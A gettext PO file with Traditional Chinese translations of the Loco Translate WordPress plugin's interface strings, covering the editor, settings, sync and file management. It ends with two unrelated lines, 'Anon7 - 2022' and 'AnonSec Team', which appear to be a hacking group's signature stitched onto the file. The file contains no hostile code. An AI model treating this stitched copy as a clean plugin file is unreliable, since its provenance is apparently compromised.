msgstr "為 %s 進行新譯文初始化"

#. translators: Warning that the language in the file header (1) does not match
#. the file name (2)
#: src/admin/file/InfoController.php:177
msgid "Language header is \"%1$s\" but file name contains \"%2$s\""
msgstr "[Language] (語言) 標頭為 %1$s,但檔案名稱中卻包含了 %2$s"

#: src/admin/file/InfoController.php:169
msgid "File does not have a valid header"
msgstr "檔案沒有正確的標頭"

#: src/admin/file/InfoController.php:137 src/package/Header.php:86
msgid "Unknown author"
msgstr "未知的譯者"

#. Translators: Button that toggles between "code" and regular text editing
#. modes
#: src/admin/file/EditController.php:232
msgctxt "Editor"
msgid "Toggle code view"
msgstr "顯示/隱藏原始程式碼檢視"

#. Translators: Button that toggles invisible characters
#: src/admin/file/EditController.php:230
msgctxt "Editor"
msgid "Toggle invisibles"
msgstr "顯示/隱藏編輯標記"

#. Translators: Button for downloading a PO, MO or POT file
#: src/admin/file/EditController.php:226
msgctxt "Editor"
msgid "Download"
msgstr "下載"

#. Translators: Button that reloads current screen
#: src/admin/file/EditController.php:220
msgctxt "Editor"
msgid "Revert"
msgstr "還原"

#. Translators: Button that runs in-editor sync/operation
#: src/admin/file/EditController.php:218
msgctxt "Editor"
msgid "Sync"
msgstr "同步"

#. Translators: Button that saves translations to disk
#: src/admin/file/EditController.php:216
msgctxt "Editor"
msgid "Save"
msgstr "儲存"

#: src/admin/file/EditController.php:214 src/ajax/ApisController.php:26
msgid "Help"
msgstr "線上說明"

#. Translators: button for removing a string when manually editing a POT file
#: src/admin/file/EditController.php:213
msgctxt "Editor"
msgid "Remove"
msgstr "移除"

#. Translators: button for adding a new string when manually editing a POT file
#: src/admin/file/EditController.php:211
msgctxt "Editor"
msgid "Add"
msgstr "新增"

#. translators: %s refers to the name of a POT file
#: src/admin/file/EditController.php:131
msgid "Translations don't match template. Run sync to update from %s"
msgstr "譯文與譯文範本並不相符,請執行 [同步] 以便從 %s 進行更新"

#. translators: %1$s is the file name, %2$s is the bundle name
#: src/admin/file/EditController.php:18
msgid "Editing %1$s in %2$s"
msgstr "在 %2$s 中編輯 %1$s"

#. translators: Warning that deleting a file will also delete others. %s
#. indicates that quantity.
#: src/admin/file/DeleteController.php:104
msgid "%s dependent file will also be deleted"
msgid_plural "%s dependent files will also be deleted"
msgstr[0] "%s 個相依檔案也會一併刪除。"

#. translators: Page title where %s is the name of a file to be deleted
#: src/admin/file/DeleteController.php:79
#: src/admin/file/DeleteController.php:98
msgid "Delete %s"
msgstr "刪除 %s"

#: src/admin/file/DiffController.php:45
msgid "File deleted"
msgstr "檔案已刪除。"

#: src/admin/file/BaseController.php:122 tpl/admin/bundle/inc-po-table.php:66
#: tpl/admin/bundle/locale.php:75 tpl/admin/file/diff.php:32
msgid "Delete"
msgstr "刪除"

#: src/admin/file/BaseController.php:119 tpl/admin/bundle/inc-po-table.php:25
#: tpl/admin/bundle/locale.php:43
msgid "File info"
msgstr "檔案資訊"

#: src/admin/file/BaseController.php:118
msgid "Source"
msgstr "原始程式碼"

#: src/admin/file/BaseController.php:117
msgid "Editor"
msgstr "譯文編輯器"

#: src/admin/config/SettingsController.php:51
msgid "Super Admin"
msgstr "多站網路管理員"

#: src/admin/config/ApisController.php:69
#: src/admin/config/PrefsController.php:42
#: src/admin/config/SettingsController.php:79
#: src/admin/config/VersionController.php:22 src/mvc/AdminRouter.php:66
#: tpl/admin/help/tab-config.php:2
msgid "Plugin settings"
msgstr "外掛設定"

#: src/admin/config/DebugController.php:55
msgid "System diagnostics"
msgstr "系統診斷"

#: src/admin/config/BaseController.php:21
#: src/admin/config/VersionController.php:13
msgid "Version"
msgstr "版本"

#: src/admin/config/BaseController.php:19
#: src/admin/config/PrefsController.php:13 src/mvc/AdminRouter.php:71
msgid "User options"
msgstr "使用者設定"

#: src/admin/config/BaseController.php:18
msgid "Site options"
msgstr "網站設定"

#: src/admin/bundle/ViewController.php:133
#: src/admin/init/InitPoController.php:218 tpl/admin/init/init-pot.php:40
msgid "Create template"
msgstr "建立譯文範本"

#: src/admin/bundle/ViewController.php:124
msgid "Edit template"
msgstr "編輯譯文範本"

#: src/admin/bundle/ViewController.php:99 src/admin/file/BaseController.php:141
#: src/admin/init/InitPoController.php:16
#: src/admin/init/InitPoController.php:122
msgid "New language"
msgstr "新增語言"

#. translators: %s is a quantity of files which were found, but whose context
#. is unknown
#: src/admin/bundle/SetupController.php:115
msgid "%s file can't be matched to a known set of strings"
msgid_plural "%s files can't be matched to a known set of strings"
msgstr[0] "%s 個檔案與已知的字串組不相符"

#: src/admin/bundle/SetupController.php:35
msgid "Bundle setup"
msgstr "套件組合設定"

#: src/admin/bundle/SetupController.php:25
msgid "Setup tab"
msgstr "[設定] 分頁"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/SetupController.php:15
msgid "Set up %s"
msgstr "設定 %s"

#: src/admin/bundle/ConfController.php:137 tpl/admin/bundle/setup/core.php:17
#: tpl/admin/bundle/setup/inc-nav.php:19
msgid "Advanced configuration"
msgstr "進階組態"

#: src/admin/bundle/ConfController.php:52
msgid "Advanced tab"
msgstr "[進階組態] 分頁"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/ConfController.php:16
msgid "Configure %s"
msgstr "設定 %s"

#: src/admin/bundle/BaseController.php:107
#: src/admin/config/DebugController.php:12 src/error/Debug.php:19
#: src/mvc/AdminRouter.php:77
msgid "Debug"
msgstr "偵錯"

#: src/admin/bundle/BaseController.php:102 tpl/admin/file/conf.php:58
#: tpl/admin/file/move.php:26
msgid "Advanced"
msgstr "進階組態"

#: src/admin/bundle/BaseController.php:101
msgid "Setup"
msgstr "設定"

#: src/admin/bundle/BaseController.php:54
msgid "Configuration reset"
msgstr "組態已重設。"

#: src/admin/bundle/BaseController.php:40
msgid "Configuration saved"
msgstr "組態已儲存。"

#. translators: home screen title where %s is the version number
#: src/admin/RootController.php:23
msgid "Loco Translate %s"
msgstr "Loco Translate %s 版"

#: src/admin/bundle/BaseController.php:100
#: src/admin/bundle/LocaleController.php:34
#: src/admin/bundle/ViewController.php:25
#: src/admin/config/BaseController.php:39 src/admin/file/EditController.php:27
#: src/admin/file/InfoController.php:26 src/admin/file/ViewController.php:26
#: src/admin/init/InitPoController.php:25
#: src/admin/init/InitPotController.php:25 src/admin/list/BaseController.php:45
#: src/admin/list/LocalesController.php:24 src/admin/RootController.php:12
msgid "Overview"
msgstr "概觀"

#: src/admin/bundle/LocaleController.php:154 src/admin/Navigation.php:30
#: src/mvc/AdminRouter.php:49
msgid "Plugins"
msgstr "外掛"

#: src/admin/bundle/LocaleController.php:149 src/admin/Navigation.php:27
#: src/mvc/AdminRouter.php:44
msgid "Themes"
msgstr "佈景主題"

#: src/Locale.php:306
msgid "Invalid locale"
msgstr "無效的地區語言"

#. translators: %s refers to the name of a missing PHP extension, for example
#. "mbstring".
#: loco.php:131
msgid "Loco Translate requires the \"%s\" PHP extension. Ask your hosting provider to install it"
msgstr "Loco Translate 需要 PHP 的 %s 擴充功能,請要求主機服務提供商為這個網站的主機進行安裝。"

#. Author of the plugin
#: loco.php
msgid "Tim Whitlock"
msgstr "Tim Whitlock"

#. Plugin URI of the plugin
#: loco.php
msgid "https://wordpress.org/plugins/loco-translate/"
msgstr "https://tw.wordpress.org/plugins/loco-translate/"

#. Translators: Placeholder text for text filter above editor
#: src/admin/file/EditController.php:228
msgid "Filter translations"
msgstr "篩選譯文"

#: tpl/admin/bundle/conf.php:65 tpl/admin/bundle/inc-po-table.php:45
#: tpl/admin/file/edit-pot.php:20 tpl/admin/file/info-pot.php:18
#: tpl/admin/file/view-pot.php:9
msgid "Template file"
msgstr "譯文範本檔案"

#: tpl/admin/config/apis.php:166 tpl/admin/config/prefs.php:44
#: tpl/admin/config/settings.php:233
msgid "Save settings"
msgstr "儲存設定"

#: tpl/admin/config/settings.php:62
msgid "Number of backups to keep of each file:"
msgstr "每個檔案所保留的備份數量:"

#: tpl/admin/config/settings.php:137
msgid "Include Fuzzy strings"
msgstr "編譯時包含模糊翻譯譯文"

#: tpl/admin/config/settings.php:131
msgid "Generate hash tables"
msgstr "產生雜湊表 (Hash Table)"

#: tpl/admin/config/settings.php:120 tpl/admin/config/settings.php:126
msgid "Compiling MO files"
msgstr "編譯 MO 編譯檔"

#: tpl/admin/bundle/locale.php:14 tpl/admin/common/inc-po-header.php:8
#: tpl/admin/file/edit-pot.php:22 tpl/admin/file/view-pot.php:11
msgctxt "Modified time"
msgid "Updated"
msgstr "更新時間"

#. translators: Warning appears when user tries to refresh or navigate away
#. when editor work is unsaved
#: src/js/Strings.php:105
msgid "Your changes will be lost if you continue without saving"
msgstr "如果不進行儲存,全部變更都會消失"

#. translators: Summary of existing strings that no longer exist after running
#. in-editor Sync xgettext: javascript-format
#: src/js/Strings.php:32
msgid "%s obsolete string removed"
msgid_plural "%s obsolete strings removed"
msgstr[0] "%s 筆淘汰不用的原文內容已移除"

#. translators: Summary of new strings after running in-editor Sync xgettext:
#. javascript-format
#: src/js/Strings.php:28
msgid "%s new string added"
msgid_plural "%s new strings added"
msgstr[0] "%s 筆原文內容已新增"

#. translators: Message appears after sync operation.
#: src/js/Strings.php:47
msgid "Strings up to date with source code"
msgstr "原文內容與原始程式碼的同步作業已完成。"

#. translators: Message appears after sync operation
#: src/js/Strings.php:24
msgid "Merged from source code"
msgstr "從原始程式碼進行合併"

#. translators: Where %s is the name of the POT template file. Message appears
#. after sync xgettext: javascript-format
#: src/js/Strings.php:21
msgid "Merged from %s"
msgstr "從 %s 進行合併"

#. translators: Success notice where %s is a file extension, e.g. "PO"
#: src/admin/file/HeadController.php:81 src/gettext/Compiler.php:287
msgid "%s file saved"
msgstr "%s 檔已儲存。"

#: src/js/Strings.php:145
msgid "Unknown error"
msgstr "未知的錯誤"

#: src/admin/file/EditController.php:182 src/mvc/AdminRouter.php:67
#: src/mvc/AdminRouter.php:72 tpl/admin/common/inc-fsconn.php:18
#: tpl/admin/common/inc-fsconn.php:43 tpl/admin/errors/no-backups.php:24
#: tpl/ajax/modal-apis-empty.php:15
msgid "Settings"
msgstr "設定"

#. Plugin Name of the plugin
#: loco.php src/hooks/AdminHooks.php:88 src/mvc/AdminRouter.php:37
msgid "Loco Translate"
msgstr "Loco Translate"

#. translators: Page title for plugin home screen
#: src/mvc/AdminRouter.php:39
msgid "Loco, Translation Management"
msgstr "Loco Translate,WordPress 網站的譯文管理系統"

#. translators: Shows number of untranslated strings at top of editor
#. translators: Shows number of untranslated strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:209 src/js/Strings.php:121
msgid "%s untranslated"
msgstr "%s 筆尚未翻譯"

#. translators: Shows number of fuzzy strings at top of editor
#. translators: Shows number of fuzzy strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:205 src/js/Strings.php:117
msgid "%s fuzzy"
msgstr "%s 筆模糊翻譯譯文"

#. translators: Shows percentage translated at top of editor
#. translators: Shows percentage translated at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:202 src/js/Strings.php:113
msgid "%s%% translated"
msgstr "譯文已完成 %s%%"

#: src/admin/config/ApisController.php:53
#: src/admin/config/PrefsController.php:26
#: src/admin/config/SettingsController.php:31
msgid "Settings saved"
msgstr "設定已儲存。"

#: src/error/WriteException.php:13
msgid "Permission denied"
msgstr "使用權限遭拒"

Anon7 - 2022
AnonSec Team